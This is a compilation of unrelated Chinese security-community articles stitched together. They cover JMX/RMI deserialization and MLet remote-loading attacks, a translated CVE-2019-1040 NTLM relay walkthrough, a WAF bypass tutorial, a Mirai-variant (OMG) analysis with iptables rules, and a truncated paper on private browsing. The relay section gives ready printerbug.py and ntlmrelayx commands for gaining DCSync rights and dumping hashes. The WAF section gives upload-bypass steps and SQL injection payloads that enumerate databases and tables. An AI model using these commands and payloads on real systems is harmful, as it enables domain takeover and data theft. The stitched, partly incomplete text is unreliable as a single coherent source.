RMI的一个重要应用是JMX(Java Management Extentions)，本文介绍JMX的几个攻击面：）
## 0x01 基础
在写一半的时候，发现了这篇文章，感觉写的很好，可以看看：<https://mogwailabs.de/blog/2019/04/attacking-rmi-based-jmx-services/>
JMX
> Java Management Extensions (JMX) is a Java technology that supplies tools
> for managing and monitoring applications, system objects, devices (such as
> printers) and service-oriented networks.
MBean
> JMX allows you to manage resources as managed beans. A managed bean (MBean)
> is a Java Bean class that follows certain design rules of the JMX standard.
> An MBean can represent a device, an application, or any resource that needs
> to be managed over JMX. You can access these MBeans via JMX, query
> attributes and invoke Bean methods.
>
> The JMX standard differs between various MBean types however, we will only
> deal with the standard MBeans here. To be a valid MBean, a Java class must:
>
> * Implement an interface
> * Provide a default constructor (without any arguments)
> * Follow certain naming conventions, for example implement getter/setter
> methods to read/write attributes
>
这里提一下，当MBean的名字为`Hello`时，其相应的interface名必须为`HelloMBean`，不然算不合法的MBean
MBean Server
> A MBean server is a service that manages the MBeans of a system. Developers
> can register their MBeans in the server following a specific naming pattern.
> The MBean server will forward incoming messages to the registered MBeans.
> The service is also responsible to forward messages from MBeans to external
> components.
DEMO用参考里的，用`jconsole`看看结果
在JConsole里可以对当前注册的MBean进行操作，如上图调用`sayHello`函数
当前我们连的是本地的MBean Server(每个java进程在本地都会有一个MBean Server)，我们也可以将MBean
Server挂载到某一端口上，提供远程的MBean管理。
运行jar时带上`-Dcom.sun.management.jmxremote.port=2222
-Dcom.sun.management.jmxremote.authenticate=false
-Dcom.sun.management.jmxremote.ssl=false`
直接通过JConsole来连接，会提示你有两种方法1:`host:port`;2:`service:jmx:<protocol>:<sap>`
这里我们重点要讲的就是第二种方法，首先我们先来看一下jmx建立起2222端口后，用nmap来获取其内容是怎么样的
从结果来看，JMX的MBean Server是建立在RMI的基础上的，并且其RMI Registy注册的名字叫`jmxrmi`。
第二种方法中，我们可以通过指定具体的协议来跟Server端进行连接，参考[JMX RMI connector
API](https://docs.oracle.com/javase/8/docs/api/index.html?javax/management/remote/rmi/package-summary.html)
> There are two forms for RMI connector addresses:
>
> * In the _JNDI form_ , the URL indicates _where to find an RMI stub for
> the connector_. This RMI stub is a Java object of type
> [`RMIServer`](https://docs.oracle.com/javase/8/docs/api/javax/management/remote/rmi/RMIServer.html)
> that gives remote access to the connector server. With this address form,
> the RMI stub is obtained from an external directory entry included in the
> URL. An external directory is any directory recognized by
> [`JNDI`](https://docs.oracle.com/javase/8/docs/api/javax/naming/package-> summary.html), typically the RMI registry, LDAP, or COS Naming.
> * In the _encoded form_ , the URL directly includes the information needed
> to connect to the connector server. When using RMI/JRMP, the encoded form is
> the serialized RMI stub for the server object, encoded using BASE64 without
> embedded newlines. When using RMI/IIOP, the encoded form is the CORBA IOR
> for the server object.
>
这里的encoded form的反序列化过程实在发起端进行的，所以这里不考虑第二种形式。
对于JNDI的形式，有以下几种方法跟JMX Server去连接：
Connector支持JRMP和iiop作为连接层的协议，所以对应的有两种方式
1. service:jmx:rmi://host:port/
2. service:jmx:iiop://host:port/
此外，还有基于目录条目的connectors
1. service:jmx:rmi://host:port/jndi/jndi-name
2. service:jmx:iiop://host:port/jndi/jndi-name
比如
serivce:jmx:rmi://<可忽略的host>/jndi/rmi://host:port/jmxrmi
这种方式就可以使用jndi下的所有spi来进行连接
## 0x02 攻击JMX
### 1\. 攻击JMX-RMI
**CVE-2016-3427**
由于JMX认证时传递的是HashMap数据结构，而以HashMap可以直接构造一个反序列化利用链来攻击本地ClassPath，这里已经修复了不细讲了XD
**主动攻击1** ：利用RMI Registy收到远程bind时产生的反序列化漏洞 jdk<8u141_b10(并且check
host的顺序变了，详细可以看[这里](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/))，[8u141_b10修改后](http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/c92d704420d7#l2.32)SingleEntryRegistry增加了filter
限制了接受到的不能是序列化后的对象，也就意味着不能利用registry这种方式来达成利用了。
**主动攻击2** :利用RMI DGC实现存在反序列化漏洞，可在JEP
290之前的版本攻击成功(使用ysoserial的JRMPClient，分析也见[这里](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/)0x08部分)
前面两种方式，在最新版的JDK8中均早已失效。除了直接攻击RMI层，我们也还可以利用MBean
Server挂载的对象函数，来传递构造好的序列化数据。这里有点像RMI中利用RMI
Server挂载的对象函数参数中存在相关可利用的对象，如Object类型就可以装载所有的序列化数据。
### 2\. 攻击存在函数参数的对象
利用MBean Server挂载的对象函数参数，来传递构造好的序列化数据。MBean
Server接收到数据后，会对获取到的参数数据进行`object[]`转换，在转换前，需要将RMI交互过程中的序列化数据进行反序列化
`javax/management/remote/rmi/RMIConnectionImpl.java#unwrap`
1583行进行类型转化，但首先需要先进行反序列化`mo.get()`
`java/rmi/MarshalledObject.java#get`
这里就到了常规的反序列化操作
所以只要MBean Server里存在MBean的函数存在参数，我们通过构造相关的invoke传递过去就可以触发反序列化
如`java.util.logging.Logging#getLoggerLevel(String)`有一个String类型的函数参数，这里我们直接将payload塞进invoke的第二个参数即可。
其他的MBean也同样可以这样操作，这里如果需要认证的话，就需要在连接时将认证信息带上，后续的还是可以利用成功的。
### 3\. 利用MLET方式动态加载MBean
这里先说利用方式：
**利用条件** ：
1. 无security manager
2. 无认证
**利用原理** ：
1. 在一HTTP Server挂载mlet文件和包含MBean的jar文件
2. 用`createMBean("javax.management.loading.MLet", null);`的方式在远程JMX创建MLet对象
3. 使用`getMBeansFromURL`从远程HTTP Server加载mlet文件
4. 解析mlet文件，由于存在codebase，从远程加载jar文件，并载入该MBean
5. 调用该MBean的方法，这个方法可以是自定义的执行命令等操作
**简单分析** ：
来简单说一下MLet的原理，JMX除了加载本地的MBean，也可以加载远程的MLet文件(包含了MLet标签)来动态加载codebase里的Jar文件。后者就是通过MLet对象的getMBeansFromURL函数来完成的。
有兴趣的可以翻一翻`javax/management/loading/MLet.java#getMBeansFromURL`，这里直接说一下流程
1. 从远程服务器加载MLet文件并解析该文件
2. 根据MLet文件中指定的codebase和archive字段，拼接成最后要请求的jar文件URL地址
3. 最后由URLClassLoader来完成请求载入操作
这里需要注意的是，第2步中，如果当前的URL地址已经存在将不再重新发起载入请求，意味着一次载入成功之后，我们就可以直接调用该MBean（Server不重启的状态下）。
而对于前面提到的两个利用条件：
在文档里[https://docs.oracle.com/javase/7/docs/technotes/guides/management/agent.html提到](https://docs.oracle.com/javase/7/docs/technotes/guides/management/agent.html%E6%8F%90%E5%88%B0)
> **Caution –** This configuration is insecure: any remote user who knows (or
> guesses) your port number and host name will be able to monitor and control
> your Java applications and platform. Furthermore, possible harm is not
> limited to the operations you define in your MBeans. A remote client could
> create a `javax.management.loading.MLet` MBean and use it to create new
> MBeans from arbitrary URLs, at least if there is **no security manager**. In
> other words, a rogue remote client could make your Java application execute
> arbitrary code.
>
> Consequently, while disabling security might be acceptable for development,
> it is strongly recommended that you **do not disable security for production
> systems**.
首先对于有认证的情况下，调用MLet将会进行权当前用户的权限验证，默认情况下都是不允许的。
`com/sun/jmx/remote/security/MBeanServerFileAccessController.java#checkAccess`会检查当前登陆的用户是否有Create的权限(这里的权限是下面的createPatterns，它允许创建指定正则的类型，而我们默认是为空的)，这里默认会返回false，也就意味着它不允许以MLet对象创建新的MBean
其次对于security manager的限制，在远程载入前会判断是否存在载入的权限（这里我没看到其他的地方做了判断，可能不止当前这个位置的验证）
当前方法比较方便的是可以载入任意的代码来执行，但是利用条件比较苛刻。
## 0x03 总结
对于JMX的利用主要利用的是本地存在的Gadget，如果本地不存在Gadget的话就无法利用成功。除非满足JMX
MLet的利用条件，通过加载codebase上的Jar文件来执行任意代码。
除此之外，由于本身JMX用的RMI那一套东西，所以如果在合适的JDK版本下，我们可以直接攻击RMI，不过前提仍然是本地存在相关的利用链。
最后，前文提到的攻击方法我已经同步到[github](https://github.com/wh1t3p1g/ysomap)上了 | 社区文章 |
本周微软发布了`CVE-2019-1040`的补丁，这是一个允许绕过`NTLM`中继攻击的漏洞。该漏洞由Marina Simakov和Yaron
Zinar（以及微软公告中的几个人发现）发现，他们在此发布了有关此漏洞的技术文章。此漏洞允许绕过`NTLM`身份验证中的消息完整代码。然而，如果将`Lee
Christensen`发现的`Printer Bug`以及我们在`Elad
Shamir`的`Kerberos`研究中开展的一些研究相结合，我们能发现这个漏洞的影响是相当大的。使用这些漏洞的组合，可以将`SMB`身份验证中继到`LDAP`。该漏洞使得在任何未修补的Windows服务器或工作站（位于不同Active
Directory中的那些服务器或工作站）上以SYSTEM身份执行远程代码，并通过未修补的Exchange服务器升级到域管理员（除非域中的Exchange权限减少）。这篇文章同样告诉读者如何对系统进行修补。
### 将SMB转发到LDAP
正如我之前在PrivExchange博客中所讨论的那样，过去一年中研究学者的研究使我们距离接管Active
Directory中的计算机只有一步之遥。如果`Exchange`等`Windows服务器`可以向我们进行身份验证，并通过LDAP将该身份验证中继到域控制器，则可以获得受害者的权限并在Active
Directory中执行各种操作。在`Exchange`的情况下，这导致了黑客拥有足够高的权限来授予自己`DCSync`权限，这是`PrivExchange`漏洞产生的原因。
通过滥用基于资源的Kerberos约束，攻击者可以在受害者服务器上获得权限，这将导致该服务器上的管理员权限丢失。然而，该问题在于由于`NTLM`协议的工作方式，我们无法将`SMB流量`中继到`LDAP`，因为其标志会触发`LDAP签名`。通过滥用`SpoolService`错误产生更严重的影响，这阻止了`SMB`触发身份验证。
`CVE-2019-1040`漏洞可以修改`NTLM`身份验证数据包而不会使身份验证失效，从而使攻击者能够删除从SMB转发到LDAP的标志。由于Active
Directory目前的状态非常危险，因此可以使用`SpoolService`错误来破坏系统。这可以跨林信任，因为`SpoolService`错误的唯一要求是经过身份验证的帐户。
### 攻击过程
一下有两种攻击突击：
* 使用AD帐户，通过SMB连接到受害者`Exchange`服务器，并触发SpoolService错误。 攻击者服务器将通过SMB连接，并使用修改后的`ntlmrelayx`版本中继到`LDAP`。 使用中继的LDAP身份验证，为攻击者帐户授予`DCSync`权限。 攻击者帐户现在可以使用`DCSync`转储AD中的所有密码哈希值。
* 使用AD帐户，通过SMB连接到受害者`Exchange`服务器，并触发SpoolService错误。 攻击者服务器将通过SMB连接，并使用修改后的`ntlmrelayx`版本中继到`LDAP`。 使用中继的`LDAP`身份验证，将受害者服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。 攻击者现在可以作为受害者服务器上的任何用户进行身份验证。
以下为几点要注意的事项：
在攻击模拟中，`Exchange`服务器可以是任何版本（包括为PrivExchange修补的版本）。唯一的要求是，在以共享权限或`RBAC`模式安装时，`Exchange`默认具有高权限。在2019年2月12日之后安装的新`Exchange`，或者手动更新以减少`Microsoft`博客中所提到的更新。
在第二次模拟攻击中，我们将服务器设定为未修补的`Windows
Server`，包括域控制器。在定位域控制器时，至少需要一个有漏洞的域控制器来中继身份验证，同时在另一个域控制器上触发`SpoolService`错误（理论上可以转发回同一主机，因为我们可以更改NTLM身份验证）。
第二次攻击需要控制计算机帐户。这可以是攻击者从中获取密码的计算机帐户，因为他们已经是工作站上的Administrator或攻击者创建的计算机帐户，滥用Active
Directory中的任何帐户都可以默认创建这些帐户。
### 概念证明
这里我们更新了`ntlmrelayx`（impacket的一部分），有一个`remove-mic`标志，根据`Preempt`研究人员的技术描述利用`CVE-2019-1040`。
#### 攻击第一步：Exchange服务器上进行选择
在第一次攻击中，我们使用`SpoolService`打印机错误攻击`Exchange`服务器，并使用`ntlmrelayx`进行中继。
我在我的`krbrelayx repo`中使用`printerbug.py`，我们也可以使用`dementor`或原始的`.NET`代码。
python printerbug.py testsegment.local/[email protected] <attacker ip/hostname>
这将会使得Exchange服务器与我们本地进行连接：
我们使用`--remove-mic`标志运行`ntlmrelayx`：
ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support
这授予我们的用户`DCSync`权限，我们可以使用它来转储所有密码哈希值：
#### 攻击步骤二：Kerberos delegation
第二次攻击主要是我之前博客中描述的过程。
我们使用`--remove-mic`和`--delegate-access`标志启动`ntlmrelayx.py`并将其转发到`LDAP over
TLS（LDAPS）`以便能够创建新的计算机帐户：
ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support
并针对辅助域控制器运行`printerbug.py`脚本（在下面称为`rlt-app-server`，但这是我在实验室中提升为DC的服务器）：
然后进行中继连接，创建一个计算机帐户：
我们可以使用这个模拟票直接对`DC`运行`secretsdump`并得到所有哈希:)
### 奖励：绕过森林域
如果我们在完全不同的`Active
Directory`中拥有用户，我们可以在`relaytest.local`域中执行完全相同的攻击，因为任何经过身份验证的用户都可以触发`SpoolService`反向连接。
所以我已经建立了一个单向的，传出的林信任，从`relaytest.local`到`domainb.local`（这意味着来自domainb的用户可以在relaytest林、域中进行身份验证）。
这也适用于双向信任。
我们运行相同的命令，但现在从`domainb`用户打印错误：
看到结果：
### 防御措施
通过滥用`CVE-2019-1040`，我们可以使用协议弱点和默认设置的组合来接管任何具有漏洞的Windows主机。最重要的防御措施是尽快安装2019年6月的补丁汇总。
我们可以通过对LDAP over
TLS强制执行LDAP签名和LDAP通道绑定来阻止NTLM中继到LDAP。但是如博客中所述，当未安装此问题的修补程序时，也可以绕过通道绑定。
为防止攻击者触发`SpoolService`错误，我们可以选择禁用`Printer
Spooler`服务。另一种防御措施是阻止敏感主机上端口445上的传出流量，或确保网络过滤阻止服务器连接到客户端范围并尽可能地隔离各个客户端。拥有高度分割的网络通常是一项重要的防御措施。
总而言之，即使安装所有可用的补丁程序，我们仍然可以将SMB从中继转移到LDAP，除非应用进一步的纵深防御措施，否则它只是在等待下一个不可避免的NTLM攻击。
### 代码
POC代码在我的个人GitHub上，直到它被合并到impacket：
<https://github.com/dirkjanm/impacket/tree/micremove>
本文为翻译稿件，来源：https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/?from=groupmessage&isappinstalled=0 | 社区文章 |
**一，绕过安全狗上传可执行脚本**
附上php上传脚本源码，此源码未对上传文件类型做校验
<?php
move_uploaded_file($_FILES["file"]["tmp_name"],"./" . $_FILES["file"]["name"]);
echo "Stored in: " . "./" . $_FILES["file"]["name"];
?>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Submit" />
</form>
绕过方法，工具：burpsuite
1,用 php脚本或者js，python等其他语言，生成48930个字符
<?php
for ($i=0; $i <= 48930; $i++) {
echo 'o';
}
?>
2,抓包，改包
3，添加后如图：
4，查看当前目录，上传成功1
**二，sql注入绕过安全狗**
1，测试文件，明显的字符型 SQL注入
<?php
header("Content-type: text/html; charset=utf-8");
$link = mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$sql = "select * from cms where id='{$_GET['id']}'";
echo $sql;
echo '<br>-----------------------------<br>';
$res = mysql_query($sql);
while ( $rows = mysql_fetch_array($res)) {
echo $rows[0];
echo $rows[1];
echo $rows[2];
}
?>
2，正常运行界面
3，添加注入测试语句
[http://localhost/waf123.php?id=3'](http://localhost/waf123.php?id=3') and 1=1 --+
4，修改测试语句
[http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+](http://localhost/waf123.php?id=3'/*!and*/%202e1/**/=2e1--+)
5,暴库
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,database/**/(),4,5))--+
6，爆表
http://localhost/waf123.php?id=2e1'/*!and*/ 2e1/**/=2e1union(/*.1112*//**//*!*/(select@1/**/,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=0x74657374))--+ | 社区文章 |
# OMG — 将物联网设备变成代理服务器的Mirai变种
|
##### 译文声明
本文是翻译文章，文章来源：www.fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/omg--mirai-based-bot-turns-iot-devices-into-proxy-servers.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
正当FortiGuard实验室在为[RootedCon](https://www.rootedcon.com/speakers)安全会议准备演讲时（该会议将于2018年3月份在西班牙马德里举行，演讲题目为“物联网：机器人之战（IoT:
Battle of Bots）”），我们又遇到了另一款新的Mirai变种。
自从Mirai僵尸网络的源代码公布以来，FortiGuard实验室已经发现了多款变种，有多名攻击者改写了代码以适应物联网环境。这些修改版的Mirai僵尸程序除了具备最原始的telnet暴力破解登录功能以外，还添加了一些新的技术，包括[漏洞利用技术](https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant)，也能针对更多的[系统架构](https://blog.fortinet.com/2018/01/25/iot-botnet-more-targets-in-okirus-cross-hairs)。我们同样观察到许多攻击者修改Mirai的目的是赚取更多的金钱。Mirai最初的设计目标是发起DDoS攻击，但后面经过修改的变种针对的是存在漏洞的[ETH挖矿设备](https://blog.fortinet.com/2018/02/02/satori-adds-known-exploit-chain-to-slave-wireless-ip-cameras)，目标是挖掘加密货币。在本文中，我们将分析名为OMG的一个僵尸程序，该程序也是Mirai僵尸程序的变种，可以将物联网（IoT）设备转变为代理服务器。
2016年10月，Brian
Krebs发表了一篇文章，介绍了网络犯罪分子如何将IoT设备转变为代理服务器以谋取金钱。在开展各种肮脏的活动时（如网络盗窃，黑客入侵系统等），网络犯罪分子会使用代理服务器来增加匿名性。利用代理服务器来谋取金钱的一种方法是将这些服务器的访问权限出售给其他网络犯罪分子，我们认为这款最新的Mirai僵尸程序变种的背后动机正是如此。
在本文中，我们也会将该恶意软件与原始的Mirai程序进行对比。
## 二、Mirai vs OMG
我们先来看看OMG的配置表。这个表最开始处于加密状态，需要使用`0xdeadbeef`这个密钥来解密，这个过程与原始的Mirai程序相同。我们首先注意到的是程序中存在`/bin/busybox
OOMGA`以及`OOMGA: applet not
found`字符串。Mirai僵尸程序之所以得到“Mirai”这个名字，原因在于程序中存在`/bin/busybox MIRAI`以及`MIRAI:
applet not
found`字符串，这两条命令用来判断恶意软件是否通过暴力破解成功进入目标物联网设备。其他变种也有类似字符串，比如Satori/Okiru、Masuta变种等。
因为这个原因，我们将这款变种命名为OMG。
这款变种同时也增加以及删除了原始Mirai代码中存在的某些配置信息。有两项增量信息值得注意，变种新增了两个字符串，用来添加防火墙规则，以允许通信流量穿透两个随机端口，我们会在后文中讨论这一细节。
图1. OMG的配置表
看样子OMG保留了Mirai的原始模块，包括attack模块、killer模块以及scanner模块。这意味着该变种也具备原始Mirai程序所具备的功能，比如杀掉进程（通过检查开放端口来确定与telnet、ssh以及http有关的进程，以及与其他僵尸程序有关的进程）、telnet暴力破解登录以进一步扩散传播以及DOS攻击。
图2. Mirai的主要模块
初始化模块之后，OMG会继续连接到命令与控制（CnC）服务器。如下配置表包含与CnC服务器有关的字符串，即`ccnew.mm.my`，该地址对应的IP地址为`188.138.125.235`。
图3. CnC域名解析结果
CnC的端口同样包含在配置表中，即50023。
图4. CnC端口（50023）
不幸的是，当我们在分析时，这个CnC服务器已经不再响应请求，因此我们的许多研究成果都是静态分析结果。
当成功建连后，OMG会向CnC服务器发送一个自定义消息（`0x00000000`），声明自己为一个新的僵尸节点。
图5. 发送的数据标识新僵尸节点
从代码中我们可知，僵尸程序会从服务端那收到长度为5字节的数据，第一个字节用来表示该IoT设备的具体用途。其中，0代表代理服务器，1用来攻击，大于1的值用来终止连接。
图6. CnC服务器可能返回的选项
## 三、搭建3proxy
这款Mirai变种会使用3proxy（一款开源软件）来实现代理服务器功能。恶意软件会生成两个随机端口，分别对应于`http_proxy_port`以及`socks_proxy_port`。一旦生成合适的端口，程序就会向CnC报告这一信息。
图7. 设置代理
为了使代理服务器能够正常工作，恶意软件必须设置防火墙，使流量能够穿透生成的端口。前面我们提到过，配置表中存在两个字符串，这两个字符串中包含能够添加以及删除防火墙规则的命令，可以完成这一任务。
TABLE_IPTABLES1 -> used to INSERT a firewall rule.
iptables -I INPUT -p tcp --dport %d -j ACCEPT;
iptables -I OUTPUT -p tcp --sport %d -j ACCEPT;
iptables -I PREROUTING -t nat -p tcp --dport %d -j ACCEPT;
iptables -I POSTROUTING -t nat -p tcp --sport %d -j ACCEPT
TABLE_IPTABLES2 -> used to DELETE a firewall rule.
iptables -D INPUT -p tcp --dport %d -j ACCEPT;
iptables -D OUTPUT -p tcp --sport %d -j ACCEPT;
iptables -D PREROUTING -t nat -p tcp --dport %d -j ACCEPT;
iptables -D POSTROUTING -t nat -p tcp --sport %d -j ACCEPT
图8. 防火墙启用/禁用函数
启动防火墙规则，使流量能够穿透随机生成的HTTP以及SOCKS端口后，恶意软件开始使用代码中内嵌的预定义配置信息来搭建3proxy。
图9. 代理配置信息
由于分析过程中服务器已不再活跃，因此我们认为攻击者的目的是出售物联网代理服务器的访问权限，提供访问凭据。
## 四、总结
这是我们首次看到某款Mirai变种在存在漏洞的IoT设备上同时提供DDOS攻击功能以及代理服务功能。伴随着这种趋势，我们相信未来会有越来越多的Mirai变种僵尸程序会具备新的变现方式。
与往常一样，FortiGuard实验室将继续检测Mirai及其衍生品，与大家共享我们的研究成果。
## 五、IOC
所有的样本均标记为`Linux/Mirai.A!tr`。
**哈希值**
9110c043a7a6526d527b675b4c50319c3c5f5c60f98ce8426c66a0a103867e4e
a5efdfdf601542770e29022f3646d4393f4de8529b1576fe4e31b4f332f5cd78
d3ed96829df1c240d1a58ea6d6690121a7e684303b115ca8b9ecf92009a8b26a
eabda003179c8499d47509cd30e1d3517e7ef6028ceb347a2f4be47083029bc6
9b2fe793ed900e95a72731b31305ed92f88c2ec95f4b04598d58bd9606f8a01d
2804f6cb611dc54775145b1bb0a51a19404c0b3618b12e41b7ea8deaeb9e357f
**CnC服务器**
54.234.123.22
ccnew.mm.my
rpnew.mm.my | 社区文章 |
> Abu Awal Md Shoeb
> Department of Computer Science, Rutgers University
> 译者：Kenneth
> 来源：<https://arxiv.org/abs/1802.10523>
# 摘要
网络浏览器是通过互联网执行各种活动的最常用工具。除了普通浏览模式，几乎所有现代浏览器都有隐私浏览模式，具体名称因浏览器而异，但隐私模式的目的在每个浏览器中都是类似的。在正常浏览模式下，浏览器会跟踪用户的活动和相关数据，如浏览历史记录、Cookie、自动填充字段、临时文件等；在隐私浏览模式下，浏览器声称不会存储任何信息，或是在关闭当前会话后销毁全部信息。然而一些研究人员在主流浏览器中进行的测试已经反驳了这一说法，在这方面我也有一些个人的经验。在这篇文章中，我将反对隐私浏览模式。通过调查大量事实，证明隐私浏览模式并不能实现真正的私密性，它并没有保持一切私密。在下面的章节中，我将证明我的论点。除了一些已经完成的研究工作外，我还会展示我的个人案例研究和实验数据。
# 1 引言
Web浏览器会保留大量的用户相关信息，如缓存文件、访问URL、搜索项、Cookie等数据都存储在本地计算机上，任何使用同一计算机的人都能访问并检索这些文件。隐私浏览模式最早于2005年由Apple
Safari 2.0版本引入。三年后，Chrome（Incognito）紧随其后。后来， IE 8和Firefox
3.5在2009年也引入了各自的隐私浏览模式，分别被称为InPrivate和Private
Browsing。已经有许多论文研究了IE、Chrome和Firefox等浏览器的隐私模式的特性，并进行了比较。然而，所有调查都证明隐私浏览并未实现真正意义上的隐私。任何人都可以很容易地跟踪隐私浏览模式下的用户行为。在这些调查中，研究人员通过临时文件、内存和一些系统文件等反驳现有的隐私浏览模式。在我的威胁模型中，我主要考虑由浏览器维护的临时文件。
# 2 威胁模型
我把攻击者（如Aggarwal等人[5]）分为两种类型：本地和远程。本地攻击者是指能够物理访问用户机器的人，而隐私浏览的主要目的就是防止本地攻击者的攻击。在我的实验中，尽管没有人在隐私浏览会话后成功访问我的浏览历史记录，然而我的隐私浏览历史仍然会受到损害，所以这个攻击模型也被认为是局部攻击。另一方面，对于远程攻击者，假设攻击者能够在Web浏览会话中与用户进行接触，这通常会引导用户到一个由攻击者控制的网站。攻击者的目的是检测用户是否处于隐私模式。在这篇文章中，我排除了远程攻击者的威胁，因为隐私浏览本身就不是用来防止网络跟踪的[3,11,12,13,14]。感兴趣的读者可以检查其他隐私保护工具（如Tor[15]）以防止Web跟踪。
# 3 背景
我在搜索租车信息时的一些经历让我对隐私浏览模式产生了兴趣。我有一群喜欢旅游的好朋友，我们总是租车旅行。在我们的团队中，一般由我进行租车、预订酒店的工作。在一次旅行中，我在我的笔记本电脑上寻找一辆出租汽车。我用谷歌浏览器在www.priceline.com
网站搜索租车信息。在当时我没有找到任何合适的交易。于是我停止了搜索，并关闭了浏览器。后来，我在想如果我在手机上找一辆车会发生什么事。可以注意到，我的手机和笔记本电脑连接在同样的WLAN中。因此我认为这两个设备的位置在网络上是相同的。令人惊喜的是，在我的手机中，我找到了我们想要的车。出于好奇心，我又在笔记本上进行了相同的工作，而结果和以前一样。
这两种不同的结果使我感到困惑，并引导我思考如何用其他方法来搜索它。由于我的手机是一个独立的设备，它带来的结果与笔记本电脑不同，我正在考虑如何在同一设备中匿名搜索。然后，就想到了隐私浏览模式，我想我可以通过隐私浏览模式隐藏我的身份在浏览中搜索任何东西。
后来，我在Google
Chrome中打开了隐身标签，并在同一网站上搜索了租车。但是，结果与正常浏览模式相同。这让我重新思考隐私浏览模式能在多大程度上保证我们的隐私？
# 4 论点
我偶尔会使用隐私浏览（包括Mozilla Firefox和Google
Chrome）。在搜索租车、酒店和机票的优惠时，我使用私人模式（译者注：防止大数据杀熟？）。但根据我个人的经验，我发现隐私浏览模式并不会将我的搜索记录保密。通过三个案例研究，我发现人们通常对于隐私模式的理解是错误的。
## 案例1
在作为新客户搜索时，租车网站上会有许多折扣。因此，我尝试在隐私浏览模式下搜索租车信息，以便在登录我的帐户之前，租车网站不知道我是老客户。但是在一次关闭隐私浏览模式后登陆Facebook后，隐私浏览的安全性第一次让我产生了怀疑。那时我使用Chrome的隐身模式搜索
www.priceline.com
上的租车信息，在这之后，我关闭了隐身模式，并开始在正常模式下使用Chrome，然后我在Facebook上很惊讶地看到租车网站的广告。而且在搜索酒店和机票方面我也有类似的经历。
## 案例2
在案例1中，广告推送可能发生我以正常浏览模式搜索出租汽车的情况。稍后，我在隐私浏览模式下搜索相同的信息。随后，租车网站的广告就出现在了Facebook上。为了进一步证明这种情况，我再次搜索了其他热门网站上波斯顿地区的租车信息。在隐私浏览模式下搜索几辆汽车后，我关闭了所有选项卡。之后，我在谷歌浏览器的正常模式下打开了一个新标签并登录到我的Facebook帐户。这时我又一次在Facebook上看到这些租车网站展示的广告。后来，我浏览了谷歌、在线报纸和在线购物网站，也发现了类似广告。最有趣的是，所有的汽车租赁广告都来自波士顿，而这正是我在隐私浏览模式下所搜索的。
## 案例3
在搜索机票和酒店方面我也有类似的经历。我曾以隐私浏览模式搜索新奥尔良的酒店，随后就在Facebook和Google上收到了新奥尔良酒店的广告。
# 5 研究方法
我最初的计划是调查所有主流浏览器（包括Firefox、Chrome、Internet Explorer和Apple
Safari）中的隐私浏览模式，还计划在Windows、iOS和Ubuntu等的不同操作系统上进行我的实验。但是由于时间和资源的限制，我提供的最终实验数据是基于Ubuntu的。我在Ubuntu中使用了Firefox和Chrome。此外，我原本打算在不同的虚拟机上运行不同的Web浏览器，以免他们有机会访问临时Internet文件。但由于内存的限制，我无法在笔记本电脑上运行虚拟机。因此我最终在运行Ubuntu操作系统的单台机器上同时运行Firefox和Chrome。
在实验中，我在笔记本电脑上安装了全新的Ubuntu 14.04
LTS。这是作为一个独立的操作系统，而不是作为第二操作系统驻留在Windows内部的系统。系统准备就绪后，我将不会使用Firefox或Chrome登录，以防止同步个人设置和历史记录。我也为我的Google帐户做了同样的事情，以防止同步Google搜索记录。
## 实验1
我使用Chrome隐身模式搜索购买新车，我分别搜索了尼桑和丰田的一辆迷你SUV的信息，
然后关闭浏览器。一段时间后，重新打开浏览器的隐身模式，并登录Facebook帐户。一段时间后，我开始看到特别针对丰田RAV4（一款迷你SUV）的广告。
图1和图2分别显示了带有广告的Facebook页面。 在图2中，它没有显示丰田的广告，但它显示了来自另一家售车网站的广告。
图1
图2
## 实验2
在这个实验中，我搜索了另一个商品——来自www.bluenile.com 的钻石戒指。
我以隐身模式使用Chrome搜索戒指，后来我以隐身模式重新打开浏览器，并访问了www.ovidhan.org
（一个在线孟加拉语词典网站）。我在这个网站上也发现了一些广告，其中一个是来自www.bluenile.com
的钻石戒指。图3显示了www.ovidhan.org 上出现的广告。
图3
# 6 Counter Claims
在许多组织中，IT部门强制员工在办公室工作时不要执行任何个人任务。因此他们总是希望监控员工的活动。如果一个浏览器为隐私浏览提供完整的隐私，那么这些组织很可能不会使用这个浏览器。此外，浏览器通过广告赚取收入，并根据使用习惯和模式向用户展示广告。
如果用户在私人模式下浏览网页，并且浏览器不保留任何用户痕迹，那么就很难知道用户偏好，无法为用户投放定制的广告。考虑这两个商业案例，浏览器公司不愿意在浏览器中提供完全隐私的浏览模式。
# 7 讨论
在现代浏览器中，研究人员已经做了很多工作来分析隐私浏览模式的安全性，研究了包括从2009-2015年的各种版本的隐私浏览模式，涵盖了主流的浏览器，包括Internet
Explorer、Mozilla Firefox、Google Chrome和Apple
Safari。一些研究还通过在虚拟机中模拟来分析隐私浏览的内容。有少数研究人员也使用计算机取证软件来验证隐私浏览的内容。在上述的研究中，显然发现隐私浏览模式留下痕迹来追踪在隐私模式下执行的用户活动。而且Internet
Explorer中的隐私模式相比其他浏览器留下了更多的证据，Mozilla
Firefox则保留了较少的私密浏览证据。但是到目前为止，没有发现一款浏览器可以完全隐藏浏览数据。
总而言之，浏览器在每次隐私浏览之后不会删除所有本地数据。我通过命令行访问了位于/home/user-name/.cache/googlechrome/Default/Cache中的由Chrome维护的缓存文件夹。浏览器在全新安装开始时没有任何缓存文件夹，因此这可能是泄露浏览历史记录的潜在原因，但针对这个缓存的内容分析超出了本文的范围。
# 8 总结
